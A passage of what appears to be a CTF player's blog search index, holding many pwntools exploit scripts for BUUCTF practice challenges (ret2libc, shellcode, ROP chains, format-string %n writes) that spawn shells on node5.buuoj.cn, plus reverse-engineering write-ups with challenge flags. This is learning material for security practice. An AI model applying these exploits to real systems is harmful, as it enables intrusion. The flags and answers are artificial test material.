p32(ebp-0x28) + b\u0026#39;/bin/sh\u0026#39; payload = payload.ljust(0x28, b\u0026#39;\\x00\u0026#39;) payload += p32(ebp-0x38) + p32(leave_ret_addr) p.send(payload) p.interactive() ","date":"March 23, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/ciscn_2019_es_2%E6%A0%88%E8%BF%81%E7%A7%BB/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1774224000,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"这是一道libc寻址的题 寻址时没有read，write，puts。所以用printf exp：exp\n","date":"March 23, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/pwn2_sctf_2016libc%E6%B3%84%E9%9C%B2+%E6%A0%88%E6%BA%A2%E5%87%BA/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1774224000,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * from LibcSearcher import LibcSearcher con=0 if con: print(\u0026#39;当前程序是32位的:\u0026#39;) sleep(0.3) context(log_level=\u0026#39;debug\u0026#39;, arch=\u0026#39;i386\u0026#39;, os=\u0026#39;linux\u0026#39;) else: print(\u0026#34;当前程序是64位的\u0026#34;) sleep(0.3) context(log_level=\u0026#39;debug\u0026#39;, arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] local_file = (\u0026#39;./level3_x64\u0026#39;) elf = ELF(local_file) debug=0 if debug: print(\u0026#39;开始打本地:\u0026#39;) sleep(0.3) io=process(local_file) else: print(\u0026#34;开始打远程\u0026#34;) sleep(0.3) io = remote(\u0026#34;node5.buuoj.cn\u0026#34;,28448) #_______________需要用到的地址区包括offset_____________________ offset = 0x80 + 0x08 main_addr = 0x040061A pop_rdi = 0x00000000004006b3 ret_addr = 0x0000000000400499 pop_rsi = 0x00000000004006b1 #_________________payload_____________________ #__________________________________________ #——————————————————————————libcsearcher———————————————————— #——————————————————————p64—————————————————— #——————————————————Write—————————————— plt=elf.plt[\u0026#34;write\u0026#34;] got=elf.got[\u0026#34;write\u0026#34;] print(\u0026#34;got\u0026#34;,got) print(\u0026#34;plt\u0026#34;,plt) payload = b\u0026#39;A\u0026#39; * offset + p64(ret_addr) + p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(got) + p64(4) + p64(plt) + p64(main_addr) io.sendlineafter(b\u0026#34;Input:\\n\u0026#34;,payload) write_addr = u64(io.recvuntil(b\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8, b\u0026#39;\\x00\u0026#39;)) print(hex(write_addr)) libc = LibcSearcher(\u0026#34;write\u0026#34;, write_addr) libc_base = write_addr - libc.dump(\u0026#34;write\u0026#34;) system = libc_base + libc.dump(\u0026#34;system\u0026#34;) binsh = libc_base + libc.dump(\u0026#34;str_bin_sh\u0026#34;) payload = b\u0026#39;a\u0026#39; * offset + p64(ret_addr) + p64(pop_rdi) + p64(binsh) + p64(system) io.sendlineafter(\u0026#34;Input:\\n\u0026#34;,payload) io.interactive() ","date":"March 5, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-1/2-1-3/exp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1772668800,"title":"exp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"在想要调用的函数没有被调用过，想要调用他的时候，是按照这个过程来调用的\nxxx@plt -\u0026gt; xxx@got -\u0026gt; xxx@plt -\u0026gt; 公共 @plt -\u0026gt; _dl_runtime_resolve\n到这里我们还需要知道\n_dl_runtime_resolve 是怎么知道要查找 printf 函数的\n_dl_runtime_resolve 找到 printf 函数地址之后，它怎么知道回填到哪个 GOT 表项\n第一个问题，在 xxx@plt 中，我们在 jmp 之前 push 了一个参数，每个 xxx@plt 的 push 的操作数都不一样，那个参数就相当于函数的 id，告诉了 _dl_runtime_resolve 要去找哪一个函数的地址 第一次调用时需要改地址 第二次可以直接调用 ","date":"March 4, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/buu-newstarctf--ret2lbic25.12.15/_dl_runtime_resolve%E5%A6%82%E4%BD%95%E6%89%BE%E5%88%B0%E5%87%BD%E6%95%B0/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1772582400,"title":"_dl_runtime_resolve如何找到函数"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) io = connect(\u0026#39;node5.buuoj.cn\u0026#39;,29531) io.recvuntil(b\u0026#34;Show me your magic!\u0026#34;) shellcode = asm(shellcraft.sh()) payload = shellcode io.sendline(payload) io.interactive() ","date":"March 4, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-1/2-1-1/mrctf2020_shellcode/exp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1772582400,"title":"exp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * #context(arch=\u0026#39;i386\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) io = process(\u0026#39;./pwn\u0026#39;) # 在本地运行程序。 # gdb.attach(io) # 启动 GDB#io = connect(\u0026#39;node5.buuoj.cn\u0026#39;,29907 ) # 与在线环境交互。 offset = 0x16 + 0x04 - 0x08 vuln_addr = 0x08048603 elf = ELF(\u0026#34;./pwn\u0026#34;) io.recvuntil(b\u0026#39;Yippie, lets crash: \u0026#39;) s_addr = int(io.recvline().strip(),16) print(hex(s_addr)) shellcode=asm(shellcraft.sh()) io.recvline() io.recvuntil(b\u0026#39;\u0026gt; \u0026#39;) payload=b\u0026#39;crashme\\x00\u0026#39; payload += b\u0026#39;a\u0026#39; * offset + p32(0) + shellcode break_addr = 0x8048600 gdb_script = f\u0026#34;\u0026#34;\u0026#34; b *{break_addr} c \u0026#34;\u0026#34;\u0026#34; gdb.attach(io, gdbscript=gdb_script) io.sendline(payload) io.interactive() ","date":"March 4, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-1/2-1-2/ez_pz_hachover_2016/exp1/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1772582400,"title":"exp1"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * context(arch=\u0026#39;i386\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) io = connect(\u0026#39;node5.buuoj.cn\u0026#39;,25977 ) offset = 0x16 + 0x04 - 0x08 vuln_addr = 0x08048603 elf = ELF(\u0026#34;./pwn\u0026#34;) io.recvuntil(b\u0026#39;Yippie, lets crash: \u0026#39;) s_addr = int(io.recvline().strip(),16) print(hex(s_addr)) shellcode=asm(shellcraft.sh()) io.recvline() io.recvuntil(b\u0026#39;\u0026gt; \u0026#39;) payload=b\u0026#39;crashme\\x00\u0026#39; payload += b\u0026#39;a\u0026#39; * offset + p32(s_addr - 0x1c) + shellcode io.sendline(payload) io.interactive() ","date":"March 4, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-1/2-1-2/ez_pz_hachover_2016/exp2/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1772582400,"title":"exp2"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" main函数有一个read两个printf 之前都是自己调用自己，这次是将自己的地址作为参数借用别的函数输出。\n本题的主要思路是 “用printf函数读取 read_got 这个地址里存储的值，并按照格式字符串的要求输出”。 所以我们需要几个参数 main_addr:作为发送第一个payload后返回的地址，再次执行main函数 pop_rdi:给 printf 传递第一个参数 format_str:格式化字符串的地址 pop_rsi:给 printf 传递第二个参数 read_got：read_got作为第二个参数 printf_plt:调用printf函数 main_addr：返回地址\n也就是正常的ret2libc\nexp在下 exp flag为\nflag{75bf2aa7-6f7d-402d-b957-56c8c69a6304} ","date":"March 4, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/harekazectf2019baby_rop2/harekazectf2019baby_rop2/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1772582400,"title":"HarekazeCTF2019baby_rop2"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" vuln函数中使用了两个syscall指令，根据rax即可知道该指令调用的是哪个系统调用\n第一个syscall：与自己进行异或操作（对应xor指令），得到的结果就是0，系统调用号为0的系统调用是read 第二个syscall：给rax赋值为1（对应代码mov rax 1），系统调用号为1的系统调用是write\nread存在栈溢出 write能泄露数据 1 | rax = 59//对应59号系统调用-\u0026gt; exceve\n2 | rdi = ‘/bin/sh’\n3 | rsi = 0\n4 | rdx = 0\n","date":"March 4, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/ciscn_s_3/wp-srop/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1772582400,"title":"wp--srop"},{"categories":[{"title":"Reverse","url":"/categories/reverse/"}],"content":"找“答错了”\\u7b54\\u9519\\u4e86 输入与generatePassword()生成的密码比较 正确密码 = 设备 ID（Build.ID） + “touko_secret_salt” 然后UTF-8 编码后计算 MD5 哈希 再转十六进制字符串并截取前 8 位 这个8位的应该就是要输入的\n或者说直接hook一下 调试\n上面的当我没说 搜”答错了“的unicode找到 Mainactivity 这个里面有一个判断 只要把判断改了就行 叫checkpassword 结果异或一下 xor v1 v1\n安装到模拟器里应该就能用了 改一下字符方便看出到底改没改\n","date":"January 22, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/reverse/zjpcctf/crakemeup/wp/","smallImg":"","tags":[{"title":"Reverse","url":"/tags/reverse/"}],"timestamp":1769040000,"title":"crakemeup"},{"categories":[{"title":"Reverse","url":"/categories/reverse/"}],"content":" ","date":"January 22, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/reverse/zjpcctf/ezre/ezre-wp/","smallImg":"","tags":[{"title":"Reverse","url":"/tags/reverse/"}],"timestamp":1769040000,"title":"ezre"},{"categories":[{"title":"Reverse","url":"/categories/reverse/"}],"content":" 做了一个异或 上面是旧的 下面是新的 enc= 0x69, 0x79, 0x63, 0x70, 0x67, 0x75, 0x48, 0x52, 0x0A, 0x01, 0x02, 0x01, 0x52, 0x06, 0x0B, 0x1E, 0x50, 0x0A, 0x56, 0x02, 0x1E, 0x07, 0x05, 0x05, 0x06, 0x1E, 0x52, 0x02, 0x0A, 0x00, 0x1E, 0x52, 0x55, 0x05, 0x0B, 0x02, 0x07, 0x0A, 0x56, 0x0B, 0x55, 0x55, 0x01, 0x4E\n写脚本 答案ZJPCTF{a9212a58-c9e1-4665-a193-af68149e8ff2}\n","date":"January 22, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/reverse/zjpcctf/ezxor/ezxor-wp/","smallImg":"","tags":[{"title":"Reverse","url":"/tags/reverse/"}],"timestamp":1769040000,"title":"ezxor"},{"categories":[{"title":"Reverse","url":"/categories/reverse/"}],"content":" 这是判断 上面还有一个长度的判断 要36位的flag 找到一个东西 ZJPCCTF\u0026amp;\u0026amp;AHPCCTF 像密钥？ 将sub_7FF7460CE630()命名为main 开始改函数名 附件到时候看看能不能扔文件夹里 string3 hex=46A02ADF2AAA76C0E59F25E3EB375065568CEAE188BF06D48F3F873737E72E0E6E52452D 这个没问题，运行也不会动 key=（错了） [ 0xAB,0xEF,0x92,0x80,0x85,0xD7,0xD7,0xC0, 0x7B,0x9C,0x16,0x65,0xC1,0x6E,0xE7,0x0E, 0xBB,0xCF,0x6B,0xF6,0xAE,0x79,0xB1,0x0E, 0xD1,0xD3,0x80,0x7F,0xD0,0x87,0xD9,0xCF, 0xB2,0xA9,0xAF,0xE6 ] 运行的时候key不是这个 而是以下的 取到13h为止 26 26 E8 48 54 46 18 97 43 A9 46 9A 37 D0 0F 13 以这个作为key 扒一个脚本 再次解密 ZJPCTF{aTTr1b5te_C0nst7uct@r_in_rc4}\n","date":"January 22, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/reverse/zjpcctf/rc4/wp/","smallImg":"","tags":[{"title":"Reverse","url":"/tags/reverse/"}],"timestamp":1769040000,"title":"rc4"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * from LibcSearcher import LibcSearcher context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) io = connect(\u0026#39;node5.buuoj.cn\u0026#39;, 27678) offset = 40 main_addr = 0x0000000000400636 ret_addr = 0x00000000004004d1 rdi_addr = 0x0000000000400733 elf = ELF(\u0026#34;./babyrop2\u0026#34;) read_got = elf.got[\u0026#39;read\u0026#39;] printf_plt = elf.plt[\u0026#39;printf\u0026#39;] libc = ELF(\u0026#34;./libc.so.6\u0026#34;) io.recvuntil(b\u0026#39;What\\\u0026#39;s your name? \u0026#39;) payload = b\u0026#39;a\u0026#39; * offset + p64(ret_addr) + p64(rdi_addr) + p64(read_got) + p64(printf_plt) + p64(main_addr) io.sendline(payload) io.recvline() read_addr = u64(io.recvuntil(b\u0026#39;W\u0026#39;)[:-1].ljust(8, b\u0026#39;\\x00\u0026#39;)) print(hex(read_addr)) libc = LibcSearcher(\u0026#34;read\u0026#34;, read_addr) libc_base = read_addr - libc.dump(\u0026#39;read\u0026#39;) system_addr = libc_base + libc.dump(\u0026#39;system\u0026#39;) bin_sh_addr = libc_base + libc.dump(\u0026#39;str_bin_sh\u0026#39;) print(hex(libc_base)) print(hex(bin_sh_addr)) print(hex(system_addr)) io.recvuntil(b\u0026#39;name? \u0026#39;) payload = b\u0026#39;a\u0026#39; * offset + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) io.sendline(payload) io.sendline(b\u0026#39;ls\u0026#39;) io.sendline(b\u0026#39;cd home\u0026#39;) io.sendline(b\u0026#39;ls\u0026#39;) io.sendline(b\u0026#39;cd babyrop2\u0026#39;) io.sendline(b\u0026#39;ls\u0026#39;) io.sendline(b\u0026#39;cat flag\u0026#39;) io.interactive() ","date":"January 14, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/harekazectf2019baby_rop2/exp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1768348800,"title":"exp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * from LibcSearcher import LibcSearcher context(arch=\u0026#39;i386\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) #io = process(\u0026#39;./pwn\u0026#39;) # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect(\u0026#39;node5.buuoj.cn\u0026#39;,26718) # 与在线环境交互。 offset = 0x2c + 0x4 vuln_addr = 0x804852F elf = ELF(\u0026#34;./pwn\u0026#34;) printf_got = elf.got[\u0026#39;printf\u0026#39;] printf_plt = elf.plt[\u0026#39;printf\u0026#39;] io.recvuntil(b\u0026#39;How many bytes do you want me to read? \u0026#39;) io.sendline(b\u0026#39;-1\u0026#39;) io.recvuntil(b\u0026#39;bytes of data!\\n\u0026#39;) payload = b\u0026#39;a\u0026#39;*offset + p32(printf_plt) + p32(vuln_addr) + p32(printf_got) io.sendline(payload) io.recvuntil(b\u0026#39;\\n\u0026#39;) printf_addr = u32(io.recv(4).ljust(4,b\u0026#39;\\x00\u0026#39;)) print(hex(printf_addr)) libc = LibcSearcher(\u0026#39;printf\u0026#39;,printf_addr) libc_base = printf_addr - libc.dump(\u0026#39;printf\u0026#39;) system_addr = libc_base + libc.dump(\u0026#39;system\u0026#39;) bin_sh_addr = libc_base + libc.dump(\u0026#39;str_bin_sh\u0026#39;) io.recvuntil(b\u0026#39;How many bytes do you want me to read? \u0026#39;) io.sendline(b\u0026#39;-1\u0026#39;) io.recvuntil(b\u0026#39;bytes of data!\\n\u0026#39;) payload = b\u0026#39;a\u0026#39;*offset + p32(system_addr) + p32(vuln_addr) + p32(bin_sh_addr) io.sendline(payload) io.interactive() ","date":"January 14, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/pwn2_sctf_2016libc%E6%B3%84%E9%9C%B2+%E6%A0%88%E6%BA%A2%E5%87%BA/exp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1768348800,"title":"exp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * from LibcSearcher import * local_file = (\u0026#39;./ciscn_2019_n_5\u0026#39;) select = 1 if select == 0: r = process(local_file) else: r = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 27578) elf = ELF(local_file) context.log_level = \u0026#39;debug\u0026#39; offset1 = 64 offset2 = 0x20+0x08 puts_got = elf.got[\u0026#34;puts\u0026#34;] puts_plt = elf.plt[\u0026#34;puts\u0026#34;] main_addr = 0x00400636 pop_rdi = 0x0000000000400713 ret = 0x00000000004004c9 r.sendlineafter(\u0026#34;tell me your name\\n\u0026#34;,\u0026#39;1\u0026#39;) payload = b\u0026#39;A\u0026#39;*offset2 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) r.sendlineafter(\u0026#34;What do you want to say to me?\\n\u0026#34;,payload) puts_addr = u64(r.recvline().strip().ljust(8,b\u0026#39;\\x00\u0026#39;)) print(hex(puts_addr)) libc = LibcSearcher(\u0026#34;puts\u0026#34;,puts_addr) libc_base = puts_addr - libc.dump(\u0026#39;puts\u0026#39;) system = libc_base + libc.dump(\u0026#39;system\u0026#39;) binsh = libc_base + libc.dump(\u0026#39;str_bin_sh\u0026#39;) r.sendlineafter(\u0026#34;tell me your name\\n\u0026#34;,\u0026#39;1\u0026#39;) payload1 = b\u0026#39;a\u0026#39; * offset2 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) r.sendline(payload1) r.interactive() ","date":"January 10, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/ciscn_2019_n_5-wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1768003200,"title":"ciscn_2019_n_5  wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * # p = process(\u0026#39;./ne_5\u0026#39;) p = remote(\u0026#34;node5.buuoj.cn\u0026#34;, 29898) sh = 0x80482ea sys_addr = 0x080484D0 # 使用ROPgadget找 p.sendlineafter(\u0026#34;password:\u0026#34;, b\u0026#39;administrator\u0026#39;) p.sendlineafter(b\u0026#39;0.Exit\\n:\u0026#39;, b\u0026#39;1\u0026#39;) payload = b\u0026#39;a\u0026#39; * (0x48 + 4) + p32(sys_addr) + b\u0026#39;aaaa\u0026#39; + p32(sh) # 使用system函数传参 同时用任意数据填充4个字节的返回地址 p.sendlineafter(b\u0026#39;log info:\u0026#39;, payload) p.sendlineafter(b\u0026#39;0.Exit\\n:\u0026#39;, b\u0026#39;4\u0026#39;) p.interactive() ","date":"January 10, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/ciscn_2019_ne_5-wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1768003200,"title":"ciscn_2019_ne_5  wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * local_file = \u0026#39;./PicoCTF_2018_rop_chain\u0026#39; select = 1 if select == 0: r = process(local_file) else: r = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 28015) elf = ELF(local_file) context.log_level = \u0026#39;debug\u0026#39; flag = 0x0804862B win1=elf.sym[\u0026#39;win_function1\u0026#39;] win2 = 0x080485D8 pop = 0x0804840d #win2传入一个参数为-1163220307，运行完后win1=win2=1 #flag传入一个参数为-559039827，运行完后会输出flag #+p32(pop) payload=b\u0026#39;a\u0026#39;*(0x18+4)+p32(win1)+p32(win2)+p32(pop)+p32(0xBAAAAAAD)+p32(flag)+p32(pop)+p32(0xDEADBAAD) #payload=\u0026#39;a\u0026#39;*(0x18+4)+p32(win1)+p32(win2)+p32(flag)+p32(0xBAAAAAAD)+p32(0xDEADBAAD) 每个函数之后都要清理一次栈，因为参数是始终在栈顶的 pop 一个没鸟用的寄存器 pop 位置在函数和第一个参数之间 这个题还有一种写法是函数先写，再逐个传参 即函数+函数+函数+参数+参数+参数 没参数的忽略参数 r.sendline(payload) r.interactive() ","date":"January 10, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/picoctf_2018_rop-chain/exp-and-wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1768003200,"title":"exp and wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"payload3 = b\u0026#39;AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\u0026#39; io.sendline(payload3) 看到0x41414141在11个\nfrom pwn import * #start r = process(\u0026#34;../buu/jarvisoj_fm\u0026#34;) #params x_addr = 0x804A02C #attack payload = b\u0026#39;%4c%13$n\u0026#39; + p32(x_addr) print(payload) r.sendline(payload) r.interactive() 1. p32(x_addr)：指定“写入的目标” 含义：p32() 是 pwntools 库中的一个函数，作用是将一个 32 位（4 字节）的整数打包成字节流（小端序）。 作用：这里存放的是变量 x 在内存中的地址（例如 0x0804A02C）。 原理：在利用格式化字符串漏洞时，我们需要告诉程序“把东西写到哪里去”。p32(x_addr) 就是把这个“目的地”放在了 payload 的最前面。 2. b'%4c%13$n'：定义“写入的动作” 这是一个特殊的格式化字符串，它由两部分组成：\n%4c： %c 是打印字符的格式符。 4 是宽度修饰符。它的作用是：如果要打印的字符不足 4 个，就在前面补空格，凑够 4 个字符。 目的：它本身不打印有意义的字符，纯粹是为了凑字节数。加上前面的地址 p32(x_addr)（占 4 字节），此时 printf 总共已经“输出”了 8 个字节。 %13$n： %n 是 printf 中一个非常危险的格式符，它的作用不是打印，而是将到目前为止 printf 已经输出的字符总数，写入到指定地址中。 13 是位置参数（Positional parameter）。它告诉程序：“去栈上找第 13 个参数”。 关键逻辑：在漏洞触发时，我们精心构造的 p32(x_addr) 正好位于栈上的第 13 个位置。因此，%13$n 会去读取第 13 个参数的值（也就是 x 的地址），然后把当前的输出字节数（8）写入到这个地址中。 ","date":"January 10, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/jarvisoj_fm-wp-and-exp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1768003200,"title":"jarvisoj_fm  wp and exp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * local_file = \u0026#39;./pwn\u0026#39; local_libc = \u0026#39;./libc-2.31.so\u0026#39; remote_libc = \u0026#39;./libc-2.31.so\u0026#39; select = 1 if select == 0: r = process(local_file) libc = ELF(local_libc) else: r = remote(\u0026#39;node5.buuoj.cn\u0026#39;,27019) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = \u0026#39;debug\u0026#39; context.arch = elf.arch def debug(cmd=\u0026#39;\u0026#39;): gdb.attach(r,cmd) pop_rdi=0x400753 ret=0x40050e payload=b\u0026#39;a\u0026#39;*0x20+b\u0026#39;b\u0026#39;*8+p64(pop_rdi)+p64(elf.got[\u0026#39;puts\u0026#39;])+p64(elf.sym[\u0026#39;puts\u0026#39;])+p64(elf.sym[\u0026#39;main\u0026#39;]) r.sendlineafter(\u0026#39;Glad to meet you again!What u bring to me this time?\\n\u0026#39;,payload) got=u64(data.ljust(8,b\u0026#39;\\0\u0026#39;))(ru(b\u0026#39;\\x7f\u0026#39;)[-6:]) base=got-libc.sym[\u0026#39;puts\u0026#39;] print(hex(base)) system=base+0x52290 binsh=base+0x1b45bd payload=b\u0026#39;a\u0026#39;*0x20+b\u0026#39;b\u0026#39;*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) r.sendlineafter(\u0026#39;Glad to meet you again!What u bring to me this time?\\n\u0026#39;,payload) #debug() r.interactive() ","date":"January 10, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/buu-newstarctf--ret2lbic25.12.15/ret2libc25.12.11exp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1768003200,"title":"ret2libc25.12.11exp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from pwn import * from LibcSearcher import * local_file = \u0026#39;文件\u0026#39; local_libc = \u0026#39;libc表\u0026#39; remote_libc = \u0026#39;libc表\u0026#39; select = 1 if select == 0: r = process(local_file) libc = ELF(local_libc) else: r = remote(地址) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = \u0026#39;debug\u0026#39; # ROPgadget --binary ciscn_2019_c_1 --only \u0026#39;pop|ret\u0026#39; pop_rdi=地址 ret=地址 #判断一 r.sendlineafter(\u0026#39;文本\u0026#39;,b\u0026#39;选择\u0026#39;) payload=\u0026#34;溢出\u0026#34;+p64(pop_rdi)+p64(elf.got[\u0026#39;puts\u0026#39;])+p64(elf.plt[\u0026#39;puts\u0026#39;])+p64(elf.symbols[\u0026#39;main\u0026#39;]) r.sendlineafter(\u0026#39;文本\u0026#39;,payload) r.recvline() r.recvline() puts_addr = u64(r.recvuntil(b\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8, b\u0026#39;\\x00\u0026#39;))#取低三位 libc = LibcSearcher(\u0026#39;puts\u0026#39;, puts_addr) libc_base = puts_addr - libc.dump(\u0026#39;puts\u0026#39;) system_addr = libc_base + libc.dump(\u0026#39;system\u0026#39;) binsh_addr = libc_base + libc.dump(\u0026#39;str_bin_sh\u0026#39;) #重新进到main中再次过判断 r.sendlineafter(\u0026#39;文本\u0026#39;,b\u0026#39;选择\u0026#39;) payload=\u0026#34;溢出（这里如果输入判断用的strlen可以直接\\0过掉）\u0026#34;+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr) r.sendlineafter(\u0026#39;文本\u0026#39;,payload) r.interactive() ","date":"January 10, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/ciscn_2019_c_1/wp-and-exp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1768003200,"title":"wp and exp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"输入的参数的个数是不固定的，是由前面的格式化字符串决定的，所以我们只要控制了前面的格式化字符串，再结合一些参数，后面输出什么就是由我们决定的；如： %d 用于读取10进制数值 %x 用于读取16进制数值 %s 用于读取字符串值 %n 用于读取前面字符串的长度并写入某个内存地址\n函数 说明 printf() 向标准输出打印格式化内容 fprintf() 向指定文件流输出 sprintf() 输出到字符串 snprintf() 输出到字符串，带长度限制 格式符 含义 危险性 %x 输出一个4/8字节十六进制值（从栈上读） 信息泄露 %s 把栈上的值当作地址，输出该地址处的字符串 任意地址读 %p 输出一个指针地址 地址泄露 %n 将当前输出的字符数写入到栈上的地址 任意地址写（极危险） 高阶用法：\n%7$x表示取第七个参数，打印为十六进制值\n简单来说就是对第七个参数做%x的操作\n%7$s表示取第七个参数，把其当成地址，输出该地址处的字符串\n以此类推……\n当然，我们也会常见到类似于%7$sAAAA的写法，在后面加上AAAA的目的是为了“对齐”\n在64位的程序中，%7$s只是占据了4B，而地址能存放8B数据，因此添加上AAAA能够完成“对齐”操作，使得后续payload不会与之粘连导致运行失败\nfrom pwn import * ​ p = process(\u0026#39;./pwn\u0026#39;) ​ payload = p32(0x0804c044) + b\u0026#39;%1$x %2$x %3$x %4$x %5$x %6$x %7$x %8$x %9$x %10$x\u0026#39; p.sendlineafter(\u0026#39;your name:\u0026#39;, payload) p.interactive() 确定输入的位置\n当 printf 解析 %10$n 时，会尝试从函数调用栈上读取「第 10 个参数对应的内存位置」，并将其当作 int* 指针来写入字符个数：\n该内存位置是栈上的无效地址（超出传入参数的范围，属于未初始化的栈内存或非法内存）； 要么读取到非法指针，写入时触发段错误崩溃； 要么读取到栈上随机有效地址，造成内存污染（破坏程序数据，最终仍会导致程序异常退出）。 payload = p32(0x0804C044) + b\u0026#39;%10$n\u0026#39; r.sendlineafter(\u0026#34;your name:\u0026#34;,payload) r.interactive() 此时password对应的判断字符串位置就被改成了传入的地址的字节数4 password只要输入4就可以了\n","date":"January 10, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%B8%80%E9%A1%B5/%E7%AC%AC%E4%BA%94%E7%A9%BA%E9%97%B42019-%E5%86%B3%E8%B5%9Bpwn/wp-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1768003200,"title":"wp---格式化字符串"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"from 